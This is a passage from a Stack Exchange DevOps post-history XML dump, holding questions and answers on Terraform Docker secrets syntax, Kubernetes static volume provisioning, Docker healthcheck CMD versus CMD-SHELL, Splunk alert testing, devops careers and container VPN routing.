8, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;       8:       secrets = {&#xD;&#xA;    &#xD;&#xA;    An argument named &quot;secrets&quot; is not expected here. Did you mean to define a&#xD;&#xA;    block of type &quot;secrets&quot;?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Unsupported argument&#xD;&#xA;    &#xD;&#xA;      on main.tf line 26, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;      26:       mounts = {&#xD;&#xA;    &#xD;&#xA;    An argument named &quot;mounts&quot; is not expected here. Did you mean to define a&#xD;&#xA;    block of type &quot;mounts&quot;?&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Error: Incorrect attribute value type&#xD;&#xA;    &#xD;&#xA;      on main.tf line 34, in resource &quot;docker_service&quot; &quot;mysql-service&quot;:&#xD;&#xA;      34:     networks = &quot;docker_network.private_overlay_network.name&quot;&#xD;&#xA;    &#xD;&#xA;    Inappropriate value for attribute &quot;networks&quot;: set of string required.&#xD;&#xA;    &#xD;&#xA;I have already have a seperate file for them&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Secrets.tf&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_root_password&quot; {&#xD;&#xA;      name = &quot;root_password&quot;&#xD;&#xA;      data = &quot;var.mysql_root_password&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_db_password&quot; {&#xD;&#xA;      name = &quot;db_password&quot;&#xD;&#xA;      data = &quot;var.mysql_db_password&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;        &#xD;&#xA;&#xD;&#xA;And variables tf file&#xD;&#xA;&#xD;&#xA;    variable &quot;mysql_root_password&quot; {&#xD;&#xA;      default     = &quot;cDRzU1dvUmQwIQo=&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    variable &quot;mysql_db_password&quot; {&#xD;&#xA;      default     = &quot;cDRzU1dvUmQwIQo=&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35168" PostHistoryTypeId="6" PostId="11491" RevisionGUID="8e1fc67a-d9aa-4445-9f1e-b06cb77fd14b" CreationDate="2020-05-03T03:53:36.027" UserId="21648" Comment="added 523 characters in body; edited tags" Text="&lt;docker&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35169" PostHistoryTypeId="6" PostId="11492" RevisionGUID="a6eb1e89-8827-40de-bb26-8f5931f292e5" CreationDate="2020-05-03T05:24:58.427" UserId="21648" Comment="edited tags" Text="&lt;docker&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35170" PostHistoryTypeId="5" PostId="11492" RevisionGUID="5af8aff2-0851-41b7-b1fd-7b143be6d32d" CreationDate="2020-05-03T05:45:35.440" UserId="21648" Comment="added 351 characters in body; edited title" Text=" - what value secret_id variable is referring in below main.tf code&#xD;&#xA; - There is no variable called &quot;id&quot; in my secrets.tf file&#xD;&#xA;&#xD;&#xA;**main.tf**&#xD;&#xA;&#xD;&#xA;        resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;&#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;${docker_image.mysql_image.name}&quot;&#xD;&#xA;&#xD;&#xA;      secrets = [&#xD;&#xA;        {&#xD;&#xA;          secret_id   = &quot;${docker_secret.mysql_root_password.id}&quot;&#xD;&#xA;          secret_name = &quot;${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;          file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          secret_id   = &quot;${docker_secret.mysql_db_password.id}&quot;&#xD;&#xA;          secret_name = &quot;${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;      env {&#xD;&#xA;        MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;        MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;        MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      mounts = [&#xD;&#xA;        {&#xD;&#xA;          target = &quot;/var/lib/mysql&quot;&#xD;&#xA;          source = &quot;${docker_volume.mysql_data_volume.name}&quot;&#xD;&#xA;          type   = &quot;volume&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;    networks = [&#xD;&#xA;      &quot;${docker_network.private_overlay_network.name}&quot;&#xD;&#xA;    ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**secrets.tf**&#xD;&#xA;&#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_root_password&quot; {&#xD;&#xA;      name = &quot;root_password&quot;&#xD;&#xA;      data = &quot;var.mysql_root_password&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_db_password&quot; {&#xD;&#xA;      name = &quot;db_password&quot;&#xD;&#xA;      data = &quot;var.mysql_db_password&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35171" PostHistoryTypeId="4" PostId="11492" RevisionGUID="5af8aff2-0851-41b7-b1fd-7b143be6d32d" CreationDate="2020-05-03T05:45:35.440" UserId="21648" Comment="added 351 characters in body; edited title" Text="secret id in docker terraform file" ContentLicense="CC BY-SA 4.0" />
  <row Id="35172" PostHistoryTypeId="2" PostId="11496" RevisionGUID="c5f30758-6f93-417e-96e2-bb2c09fa32f9" CreationDate="2020-05-03T05:49:27.447" UserId="22061" Text="I have been working for linux management over 10 years. In the last 5 years, I have added a lot of coding experience through software development like php, ruby, go, etc. I wanna be a devops, but I have no idea how to get into it." ContentLicense="CC BY-SA 4.0" />
  <row Id="35173" PostHistoryTypeId="1" PostId="11496" RevisionGUID="c5f30758-6f93-417e-96e2-bb2c09fa32f9" CreationDate="2020-05-03T05:49:27.447" UserId="22061" Text="What are the daily job duties of a devops?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35174" PostHistoryTypeId="3" PostId="11496" RevisionGUID="c5f30758-6f93-417e-96e2-bb2c09fa32f9" CreationDate="2020-05-03T05:49:27.447" UserId="22061" Text="&lt;continuous-integration&gt;&lt;linux&gt;&lt;configuration-management&gt;&lt;infrastructure-as-code&gt;&lt;sysadmin&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35175" PostHistoryTypeId="5" PostId="11492" RevisionGUID="137dd9c7-83c4-4c13-ac75-b2d9f156a11b" CreationDate="2020-05-03T06:36:12.840" UserId="21648" Comment="added 1589 characters in body" Text=" - what value secret_id variable is referring in below main.tf and &#xD;&#xA;     terraform.tfstate code&#xD;&#xA; - There is no variable called &quot;id&quot; in my secrets.tf file&#xD;&#xA;&#xD;&#xA;**main.tf**&#xD;&#xA;&#xD;&#xA;        resource &quot;docker_service&quot; &quot;mysql-service&quot; {&#xD;&#xA;      name = &quot;mysql_db&quot;&#xD;&#xA;&#xD;&#xA;      task_spec {&#xD;&#xA;        container_spec {&#xD;&#xA;          image = &quot;${docker_image.mysql_image.name}&quot;&#xD;&#xA;&#xD;&#xA;      secrets = [&#xD;&#xA;        {&#xD;&#xA;          secret_id   = &quot;${docker_secret.mysql_root_password.id}&quot;&#xD;&#xA;          secret_name = &quot;${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;          file_name   = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          secret_id   = &quot;${docker_secret.mysql_db_password.id}&quot;&#xD;&#xA;          secret_name = &quot;${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;          file_name   = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;      env {&#xD;&#xA;        MYSQL_ROOT_PASSWORD_FILE = &quot;/run/secrets/${docker_secret.mysql_root_password.name}&quot;&#xD;&#xA;        MYSQL_DATABASE           = &quot;mydb&quot;&#xD;&#xA;        MYSQL_PASSWORD_FILE      = &quot;/run/secrets/${docker_secret.mysql_db_password.name}&quot;&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      mounts = [&#xD;&#xA;        {&#xD;&#xA;          target = &quot;/var/lib/mysql&quot;&#xD;&#xA;          source = &quot;${docker_volume.mysql_data_volume.name}&quot;&#xD;&#xA;          type   = &quot;volume&quot;&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;    networks = [&#xD;&#xA;      &quot;${docker_network.private_overlay_network.name}&quot;&#xD;&#xA;    ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**terraform.tfstate** &#xD;&#xA;&#xD;&#xA;                    &quot;docker_secret.mysql_db_password&quot;: {&#xD;&#xA;                    &quot;type&quot;: &quot;docker_secret&quot;,&#xD;&#xA;                    &quot;depends_on&quot;: [],&#xD;&#xA;                    &quot;primary&quot;: {&#xD;&#xA;                        &quot;id&quot;: &quot;jqeg2xqzdeeddk12fnfcu7flr&quot;,&#xD;&#xA;                        &quot;attributes&quot;: {&#xD;&#xA;                            &quot;data&quot;: &quot;cDRzU1dvUmQwIQo=&quot;,&#xD;&#xA;                            &quot;id&quot;: &quot;jqeg2xqzdeeddk12fnfcu7flr&quot;,&#xD;&#xA;                            &quot;name&quot;: &quot;db_password&quot;&#xD;&#xA;                        },&#xD;&#xA;                        &quot;meta&quot;: {&#xD;&#xA;                            &quot;schema_version&quot;: &quot;1&quot;&#xD;&#xA;                        },&#xD;&#xA;                        &quot;tainted&quot;: false&#xD;&#xA;                    },&#xD;&#xA;                    &quot;deposed&quot;: [],&#xD;&#xA;                    &quot;provider&quot;: &quot;provider.docker&quot;&#xD;&#xA;                },&#xD;&#xA;                &quot;docker_secret.mysql_root_password&quot;: {&#xD;&#xA;                    &quot;type&quot;: &quot;docker_secret&quot;,&#xD;&#xA;                    &quot;depends_on&quot;: [],&#xD;&#xA;                    &quot;primary&quot;: {&#xD;&#xA;                        &quot;id&quot;: &quot;4xkaouiljotr72urmh9gvhx66&quot;,&#xD;&#xA;                        &quot;attributes&quot;: {&#xD;&#xA;                            &quot;data&quot;: &quot;cDRzU1dvUmQwIQo=&quot;,&#xD;&#xA;                            &quot;id&quot;: &quot;4xkaouiljotr72urmh9gvhx66&quot;,&#xD;&#xA;                            &quot;name&quot;: &quot;root_password&quot;&#xD;&#xA;                        },&#xD;&#xA;                        &quot;meta&quot;: {&#xD;&#xA;                            &quot;schema_version&quot;: &quot;1&quot;&#xD;&#xA;                        },&#xD;&#xA;                        &quot;tainted&quot;: false&#xD;&#xA;                    },&#xD;&#xA;                    &quot;deposed&quot;: [],&#xD;&#xA;                    &quot;provider&quot;: &quot;provider.docker&quot;&#xD;&#xA;                },&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**secrets.tf**&#xD;&#xA;&#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_root_password&quot; {&#xD;&#xA;      name = &quot;root_password&quot;&#xD;&#xA;      data = &quot;var.mysql_root_password&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;docker_secret&quot; &quot;mysql_db_password&quot; {&#xD;&#xA;      name = &quot;db_password&quot;&#xD;&#xA;      data = &quot;var.mysql_db_password&quot;&#xD;&#xA;    }&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35176" PostHistoryTypeId="2" PostId="11497" RevisionGUID="c872b758-9024-42b1-8f54-9611724ae6a3" CreationDate="2020-05-03T07:18:55.300" UserId="22062" Text="Here's the 2020 devops engineer roadmap: https://roadmap.sh/devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35177" PostHistoryTypeId="12" PostId="11497" RevisionGUID="119ec36e-f9ec-4081-980d-2dd8377c2658" CreationDate="2020-05-03T07:34:05.867" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="35179" PostHistoryTypeId="10" PostId="11496" RevisionGUID="736d34eb-f3ca-484d-9011-281e3e26493f" CreationDate="2020-05-03T08:21:37.273" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[10617],&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="35180" PostHistoryTypeId="5" PostId="11497" RevisionGUID="502f7f89-f21a-4da9-b190-fc9b1cbf3c92" CreationDate="2020-05-03T08:24:57.853" UserId="22062" Comment="added 494 characters in body" Text="Keep learning other requirements for devops engineering. like Operating System concepts (Process management, threads and concurrency, POSIX basics, I/O management, file systems, memory storage, ...), managing servers, service management, bash scripting (vim, emacs, ...), working with terminals, web servers (nginx, apache,...), CI/CD tools (jenkins, circle ci,...), infrascructure as code (docker, ansible, kubernetes,...), cloud services (aws, azure, google cloud platform, heroku). Here's the complete 2020 devops engineer roadmap: https://roadmap.sh/devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35181" PostHistoryTypeId="13" PostId="11497" RevisionGUID="4b0dad6d-1a79-4d4e-927f-28ca166869b4" CreationDate="2020-05-03T08:31:35.833" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="35182" PostHistoryTypeId="5" PostId="11497" RevisionGUID="80cdd2f2-7777-4a28-9f5b-e3e973373994" CreationDate="2020-05-03T08:37:27.560" UserId="22062" Comment="added 26 characters in body" Text="Keep learning other requirements for devops engineering. such as:&#xD;&#xA;&#xD;&#xA;Operating System concepts (Process management, threads and concurrency, POSIX basics, I/O management, file systems, memory storage, ...)&#xD;&#xA;&#xD;&#xA;managing servers&#xD;&#xA;&#xD;&#xA;service management&#xD;&#xA;&#xD;&#xA;bash scripting (vim, emacs, ...)&#xD;&#xA;&#xD;&#xA;working with terminals&#xD;&#xA;&#xD;&#xA;web servers (nginx, apache,...)&#xD;&#xA;&#xD;&#xA;CI/CD tools (jenkins, circle ci,...)&#xD;&#xA;&#xD;&#xA;infrascructure as code (docker, ansible, kubernetes,...)&#xD;&#xA;&#xD;&#xA;cloud services (aws, azure, google cloud platform, heroku).&#xD;&#xA;&#xD;&#xA;Here's the complete 2020 devops engineer roadmap: https://roadmap.sh/devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35183" PostHistoryTypeId="5" PostId="11497" RevisionGUID="1811b9e5-71e5-47e7-ae67-5bf749802ba3" CreationDate="2020-05-03T09:41:15.600" UserId="22062" Comment="added 1035 characters in body" Text="Keep learning other requirements for devops engineering. such as:&#xD;&#xA;&#xD;&#xA;**Operating System concepts (Process management, threads and concurrency, POSIX basics, I/O management, file systems, memory storage, ...)**&#xD;&#xA;&#xD;&#xA;as an devops engineer you need to know everything about the operating systems and how they work. to know everything about the operating systems, first you need to be a system administrator or sysadmin.&#xD;&#xA;&#xD;&#xA;**managing servers**&#xD;&#xA;&#xD;&#xA;server performance management helps in increasing agility and optimizes the performance of both physical and virtual servers.&#xD;&#xA;&#xD;&#xA;**service management**&#xD;&#xA;&#xD;&#xA;IT service management a cultural mindset to ensure that the desired outcome for the business is achieved. It incorporates principles and practices from various management approaches, such as lean manufacturing, organizational change management, system analysis and risk management.&#xD;&#xA;&#xD;&#xA;**bash scripting (vim, emacs, ...)**&#xD;&#xA;&#xD;&#xA;every sysadmin needs to have a good knowledge and experience in bash scripting. &#xD;&#xA;&#xD;&#xA;**working with terminals**&#xD;&#xA;&#xD;&#xA;every sysadmin needs to live entirely on the command line.&#xD;&#xA;&#xD;&#xA;**web servers (nginx, apache,...)**&#xD;&#xA;&#xD;&#xA;every sysadmin needs to know how servers work and how web servers send data.&#xD;&#xA;&#xD;&#xA;**CI/CD tools (jenkins, circle ci,...)**&#xD;&#xA;&#xD;&#xA;automation and automated testing improves agility and speed in scale.&#xD;&#xA;&#xD;&#xA;**infrascructure as code (docker, ansible, kubernetes,...)**&#xD;&#xA;&#xD;&#xA;IaC can be a key attribute of enabling best practices in devops.&#xD;&#xA;&#xD;&#xA;**cloud services (aws, azure, google cloud platform, heroku)**&#xD;&#xA;&#xD;&#xA;***Here's the complete 2020 devops engineer roadmap:*** https://roadmap.sh/devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="35184" PostHistoryTypeId="2" PostId="11499" RevisionGUID="01498aea-889a-486c-8b4c-a140c9e6bc3d" CreationDate="2020-05-03T11:03:01.077" UserId="17219" Text="I am trying to deploy a statefulSet that will use *static* volume provisioning (claim existing PVs) based on their label. However, it seems that the persistentvolume-controller is trying to provision storage *dynamically*, as when I `kubectl desribe pvc db-data-db-N` the Events log states that: &#xD;&#xA;```&#xD;&#xA;Events:&#xD;&#xA;  Type       Reason              Age               From                         Message&#xD;&#xA;  ----       ------              ----              ----                         -------&#xD;&#xA;  Warning    ProvisioningFailed  9s (x3 over 21s)  persistentvolume-controller  Failed to provision volume with StorageClass &quot;db-data-storage&quot;: claim.Spec.Selector is not supported for dynamic provisioning on AWS&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I have pre-provisioned PVs with this format (I am using Helm):&#xD;&#xA;```&#xD;&#xA;kind: PersistentVolume&#xD;&#xA;apiVersion: v1&#xD;&#xA;metadata:&#xD;&#xA;  name: db-data-{{ $volIndex }}&#xD;&#xA;  labels:&#xD;&#xA;    restoredFromBackup: &quot;true&quot;&#xD;&#xA;spec:&#xD;&#xA;  capacity:&#xD;&#xA;    storage: 30Gi&#xD;&#xA;  accessModes:&#xD;&#xA;  - ReadWriteOnce&#xD;&#xA;  awsElasticBlockStore:&#xD;&#xA;    volumeID: {{ $volId }}&#xD;&#xA;    fsType: ext4&#xD;&#xA;```&#xD;&#xA;Here is my PVC template:&#xD;&#xA;```&#xD;&#xA;  volumeClaimTemplates:&#xD;&#xA;  - metadata:&#xD;&#xA;      name: db-data&#xD;&#xA;    spec:&#xD;&#xA;      accessModes: [ &quot;ReadWriteOnce&quot; ]&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 30Gi&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          restoredFromBackup: &quot;true&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35185" PostHistoryTypeId="1" PostId="11499" RevisionGUID="01498aea-889a-486c-8b4c-a140c9e6bc3d" CreationDate="2020-05-03T11:03:01.077" UserId="17219" Text="Deploying a statefulSet with static volume provisioning but controller insists to use dynamic" ContentLicense="CC BY-SA 4.0" />
  <row Id="35186" PostHistoryTypeId="3" PostId="11499" RevisionGUID="01498aea-889a-486c-8b4c-a140c9e6bc3d" CreationDate="2020-05-03T11:03:01.077" UserId="17219" Text="&lt;kubernetes&gt;&lt;kubernetes-volume&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35187" PostHistoryTypeId="2" PostId="11500" RevisionGUID="1442bcb9-6bb0-48a6-b25f-7c06351e5494" CreationDate="2020-05-03T14:07:02.943" UserId="22066" Text="Background&#xD;&#xA;=&#xD;&#xA;Our **code** is written with:&#xD;&#xA;&#xD;&#xA; 1. Unit tests&#xD;&#xA; 2. End to end tests&#xD;&#xA; 3. Code review&#xD;&#xA; 4. Staging process&#xD;&#xA; 5. Deployment process&#xD;&#xA;&#xD;&#xA;On the contrary, our **alerts** are just written and then modified occasionally manually. No quality process at all.&#xD;&#xA;&#xD;&#xA;This process is reasonable for simple threshold checks. However, our alerts are sometimes built on complicated queries. Sometimes composed of ~20 lines of a query.&#xD;&#xA;&#xD;&#xA;If we accidentally break an alert, it could expose us to production instability since we won't know if some logic or component breaks.&#xD;&#xA;&#xD;&#xA;The question&#xD;&#xA;=&#xD;&#xA;Is there a recommended methodology for validating the quality of complicated alerts?&#xD;&#xA;&#xD;&#xA;P.S.&#xD;&#xA;-&#xD;&#xA;We're using Splunk alerts" ContentLicense="CC BY-SA 4.0" />
  <row Id="35188" PostHistoryTypeId="1" PostId="11500" RevisionGUID="1442bcb9-6bb0-48a6-b25f-7c06351e5494" CreationDate="2020-05-03T14:07:02.943" UserId="22066" Text="Production grade methodology for alerts" ContentLicense="CC BY-SA 4.0" />
  <row Id="35189" PostHistoryTypeId="3" PostId="11500" RevisionGUID="1442bcb9-6bb0-48a6-b25f-7c06351e5494" CreationDate="2020-05-03T14:07:02.943" UserId="22066" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35190" PostHistoryTypeId="2" PostId="11501" RevisionGUID="03e6653d-f2ef-4b0d-92e8-689ce8740991" CreationDate="2020-05-03T14:51:10.927" UserId="22067" Text="It's not clear to me what are the differences between `CMD` and `CMD-SHELL` in Docker Compose [healthcheck][1].&#xD;&#xA;&#xD;&#xA;What are the benefits of using `CMD-SHELL` compared to `CMD`? What are the use cases for `CMD` and `CMD-SHELL`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/compose/compose-file/#healthcheck" ContentLicense="CC BY-SA 4.0" />
  <row Id="35191" PostHistoryTypeId="1" PostId="11501" RevisionGUID="03e6653d-f2ef-4b0d-92e8-689ce8740991" CreationDate="2020-05-03T14:51:10.927" UserId="22067" Text="Healthcheck: CMD vs CMD-SHELL" ContentLicense="CC BY-SA 4.0" />
  <row Id="35192" PostHistoryTypeId="3" PostId="11501" RevisionGUID="03e6653d-f2ef-4b0d-92e8-689ce8740991" CreationDate="2020-05-03T14:51:10.927" UserId="22067" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35193" PostHistoryTypeId="2" PostId="11502" RevisionGUID="ca8cf72e-71c7-42d5-a9a0-5b0e37bce40f" CreationDate="2020-05-03T17:58:28.243" UserId="7730" Text="Docker can either run the command using the equivalent of the OS exec syscall directly in the kernel, or it can run a shell (typically `/bin/sh`) to call your command. A shell provides functionality you are accustom to from the command line, including:&#xD;&#xA;&#xD;&#xA;- I/O redirection and pipes (`&gt;`, `&gt;&gt;`, `&lt;`, etc)&#xD;&#xA;- Command chaining (`&amp;&amp;` and `||`)&#xD;&#xA;- Variable expansion (`$var`)&#xD;&#xA;&#xD;&#xA;However, a shell may also intercept signals, particularly when running as pid 1, which can prevent a graceful shutdown of a container (not much of an issue for a healthcheck). In addition, to run a the shell syntax, your container's image must include a shell, which means that won't work for images based on `scratch` that do not include a `/bin/sh`." ContentLicense="CC BY-SA 4.0" />
  <row Id="35194" PostHistoryTypeId="2" PostId="11503" RevisionGUID="0ee043e4-05e7-4dba-b068-777bdd5e1e02" CreationDate="2020-05-03T18:06:45.210" UserId="20042" Text="As per [Docker Documentation](https://docs.docker.com/engine/reference/builder/#run)&#xD;&#xA;&#xD;&#xA;&gt; RUN has 2 forms:&#xD;&#xA;&gt; &#xD;&#xA;&gt; * `RUN &lt;command&gt;` (_shell_ form, the command is run in a shell, which by default is `/bin/sh -c` on Linux or `cmd /S /C` on Windows)&#xD;&#xA;&gt; * `RUN [&quot;executable&quot;, &quot;param1&quot;, &quot;param2&quot;]` (_exec_ form)&#xD;&#xA;&gt; &#xD;&#xA;&gt; The `RUN` instruction will execute any commands in a new layer on top of the current image and commit the results. The resulting committed image will be used for the next step in the `Dockerfile`.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Layering `RUN` instructions and generating commits conforms to the core concepts of Docker where commits are cheap and containers can be created from any point in an image’s history, much like source control.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The _exec_ form makes it possible to avoid shell string munging, and to `RUN` commands using a base image that does not contain the specified shell executable.&#xD;&#xA;&#xD;&#xA;And the second form, `exec` was created for cases when there is not any `shell` in containers.&#xD;&#xA;&#xD;&#xA;There is appropriate issue for healthchecks: [Use CMD instead of CMD-SHELL for --healthcheck-cmd by vdemeester · Pull Request #28679 · moby/moby](https://github.com/moby/moby/pull/28679)&#xD;&#xA;&#xD;&#xA;Motivation for the issue is clear:&#xD;&#xA;[Use CMD instead of CMD-SHELL for --healthcheck-cmd by vdemeester · Pull Request #28679 · moby/moby](https://github.com/moby/moby/pull/28679)&#xD;&#xA;&#xD;&#xA;&gt; Using `CMD-SHELL` will not work on any image that do not ship with a  &#xD;&#xA;shell (`/bin/sh`) and/or that do not define a default shell using  &#xD;&#xA;`SHELL` in `Dockerfile`." ContentLicense="CC BY-SA 4.0" />
  <row Id="35196" PostHistoryTypeId="2" PostId="11504" RevisionGUID="89067a00-8f4c-42b3-972e-dd73922434a4" CreationDate="2020-05-03T21:12:28.697" UserId="22063" Text="My laptop has an IPsec VPN tunnel set up to access a remote site (with my side being the VPN client).&#xD;&#xA;&#xD;&#xA;As an experiment, I started up a simple docker container on my laptop using `docker run --rm -it alpine:3.7 /bin/sh` and from within the container tried to ping one of the remote machines on the other side of the tunnel.&#xD;&#xA;&#xD;&#xA;I expected the ping to not work, but I was surprised that it actually did.&#xD;&#xA;&#xD;&#xA;I expected that in order to be able to access one of the remote machines from within a docker container, I'd have to first set up the VPN connection from within the container.&#xD;&#xA;&#xD;&#xA;If not a full-fledged VPN connection from within the container, I thought that I would _at least_ need to set up some `iptables` rules on the host machine. (My laptop's private IP address is `192.168.10.1`, that of the remote server is `10.2.5.100` and that of my docker container is `172.17.0.2`.) But even this wasn't needed...&#xD;&#xA;&#xD;&#xA;So my question is how is it that communicating with the remote machines through the tunnel _just works_ without any additional setup?&#xD;&#xA;&#xD;&#xA;p.s. in case it matters, my laptop is running Arch Linux and I'm using strongswan to set up the IPsec connection." ContentLicense="CC BY-SA 4.0" />
  <row Id="35197" PostHistoryTypeId="1" PostId="11504" RevisionGUID="89067a00-8f4c-42b3-972e-dd73922434a4" CreationDate="2020-05-03T21:12:28.697" UserId="22063" Text="Accessing remote servers through a VPN tunnel from within docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="35198" PostHistoryTypeId="3" PostId="11504" RevisionGUID="89067a00-8f4c-42b3-972e-dd73922434a4" CreationDate="2020-05-03T21:12:28.697" UserId="22063" Text="&lt;docker&gt;&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35199" PostHistoryTypeId="5" PostId="11493" RevisionGUID="0ffd7305-0bcd-4663-bbf1-4f8c2665bf47" CreationDate="2020-05-04T00:38:20.310" UserId="21951" Comment="Updated with example from OP." Text="These were made as [errors in 0.12][1].  You need to put these into tfvars file in a [locals definition][2]. &#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;       secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;       secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;       file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA;Update:&#xD;&#xA;Using a list:&#xD;&#xA;&#xD;&#xA;    locals {&#xD;&#xA;        secrets = [&#xD;&#xA;            {&#xD;&#xA;                secret_id = &quot;docker_secret.mysql_db_password.id&quot;&#xD;&#xA;                secret_name = &quot;docker_secret.mysql_db_password.name&quot;&#xD;&#xA;                file_name = &quot;/run/secrets/docker_secret.mysql_db_password.name&quot;&#xD;&#xA;            },&#xD;&#xA;            {&#xD;&#xA;                secret_id = &quot;docker_secret.mysql_root_password.id&quot;&#xD;&#xA;                secret_name = &quot;docker_secret.mysql_root_password.name&quot;&#xD;&#xA;                file_name = &quot;/run/secrets/docker_secret.mysql_root_password.name&quot;&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Then to access an individual value, use indexing with variable evaluation: `${local.secrets[1].file_name}`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/hashicorp/terraform/issues/19424&#xD;&#xA;  [2]: https://www.terraform.io/docs/configuration/locals.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="35200" PostHistoryTypeId="2" PostId="11505" RevisionGUID="04ebc236-b2ee-490c-83c1-ef6316299356" CreationDate="2020-05-04T02:38:28.677" UserId="22075" Text="Did you try by specifying a storageClassName since Kubernetes will be using default storage class when it's not specified?&#xD;&#xA;See [Dynamic Provisioning][1] of the blog post and [Dynamic][2] from Kubernetes documentation?&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/blog/2017/03/dynamic-provisioning-and-storage-classes-kubernetes/&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/storage/persistent-volumes/" ContentLicense="CC BY-SA 4.0" />
